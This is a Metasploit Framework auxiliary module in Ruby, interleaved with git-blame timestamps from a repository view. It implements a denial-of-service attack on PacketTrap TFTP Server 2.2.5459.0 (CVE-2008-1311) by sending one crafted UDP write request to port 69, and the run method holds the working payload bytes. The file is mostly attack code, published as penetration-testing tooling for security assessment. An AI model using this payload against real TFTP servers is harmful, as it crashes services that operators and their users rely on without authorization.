2009-01-09 05:39:57 +00:00
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-01-09 05:39:57 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-01-09 05:39:57 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Udp
|
|
|
|
include Msf::Auxiliary::Dos
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-01-09 05:39:57 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-01-09 05:39:57 +00:00
|
|
|
'Name' => 'PacketTrap TFTP Server 2.2.5459.0 DoS',
|
|
|
|
'Description' => %q{
|
|
|
|
The PacketTrap TFTP server version 2.2.5459.0 can be
|
|
|
|
brought down by sending a special write request.
|
|
|
|
},
|
2009-04-03 15:05:35 +00:00
|
|
|
'Author' => 'kris katterjohn',
|
2009-01-09 05:39:57 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
2010-07-01 23:33:07 +00:00
|
|
|
[
|
2010-05-05 18:18:51 +00:00
|
|
|
[ 'CVE', '2008-1311'],
|
|
|
|
[ 'OSVDB', '42932'],
|
2012-06-28 19:27:12 +00:00
|
|
|
[ 'EDB', '6863']
|
2010-05-05 18:18:51 +00:00
|
|
|
],
|
2009-01-09 05:39:57 +00:00
|
|
|
'DisclosureDate' => 'Oct 29 2008'))
|
|
|
|
|
|
|
|
register_options([Opt::RPORT(69)])
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
connect_udp
|
|
|
|
print_status("Sending write request...")
|
|
|
|
udp_sock.put("\x00\x02|\x00netascii\x00")
|
|
|
|
disconnect_udp
|
|
|
|
end
|
|
|
|
end
|